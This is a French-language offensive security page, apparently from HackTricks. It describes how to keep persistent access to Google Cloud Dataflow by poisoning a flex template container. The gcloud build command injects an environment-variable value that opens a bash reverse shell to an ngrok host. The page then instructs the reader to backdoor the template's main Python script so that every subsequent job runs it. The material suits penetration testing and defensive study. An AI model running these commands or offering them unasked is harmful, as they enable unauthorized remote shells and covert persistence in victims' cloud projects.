2.4 KiB
GCP - Persistance Dataflow
{{#include ../../../banners/hacktricks-training.md}}
Dataflow
Persistance invisible dans le conteneur intégré
En suivant le tutoriel de la documentation, vous pouvez créer un nouveau modèle flex (par exemple, python) :
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY
# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
Pendant sa construction, vous obtiendrez un reverse shell (vous pourriez abuser des variables d'environnement comme dans l'exemple précédent ou d'autres paramètres qui définissent le fichier Docker pour exécuter des choses arbitraires). À ce moment-là, à l'intérieur du reverse shell, il est possible de aller dans le répertoire /template et de modifier le code du script python principal qui sera exécuté (dans notre exemple, c'est getting_started.py). Placez votre backdoor ici afin que chaque fois que le job est exécuté, il l'exécute.
Ensuite, la prochaine fois que le job est exécuté, le conteneur compromis construit sera lancé :
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
{{#include ../../../banners/hacktricks-training.md}}